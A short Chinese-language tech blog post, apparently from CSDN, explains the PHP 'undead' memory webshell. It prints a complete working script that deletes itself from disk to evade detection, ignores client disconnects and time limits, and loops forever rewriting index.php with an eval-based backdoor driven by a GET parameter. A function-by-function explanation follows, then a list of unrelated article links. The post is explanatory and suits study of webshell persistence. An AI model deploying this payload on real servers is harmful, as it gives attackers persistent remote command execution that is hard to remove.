PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
我就是不信3 分钟前
Swift 方法派发机制详解
开发语言·ios·swift
硫酸锌015 分钟前
安卓手机连接Windows电脑后通过DHCP服务为手机分配IP地址
android·windows·计算机网络
CCCCCCCCharlie7 分钟前
深入解析I/O底层:文件描述符与缓冲区真相
linux·开发语言·c++·算法
寻林写彡11 分钟前
Web 安全三大漏洞靶场作业全整理:PHP 核心函数与防御方案汇总
安全·php
骑着蜗牛撵大象32711 分钟前
设备监控数据存与查:Spring Boot 接入 TimescaleDB 超表的完整落地
android·spring boot·后端·springboot·时序数据库·es·设备监控
Zenova EdgeOS14 分钟前
Rust TUI 实战:用 ratatui 构建工业边缘终端界面
开发语言·后端·rust·工业网关
云贝贝贝26 分钟前
MySQL 线上报 Lock wait timeout 别慌:6 招定位锁等待与死锁
android
学逆向的30 分钟前
C 选择结构的执行效率分析
c语言·开发语言·算法·网络安全
mmsx1 小时前
Android 签名校验为什么能拦住二次打包:指纹与完整性校验
android·签名
geats人山人海1 小时前
java 8 字符串
java·开发语言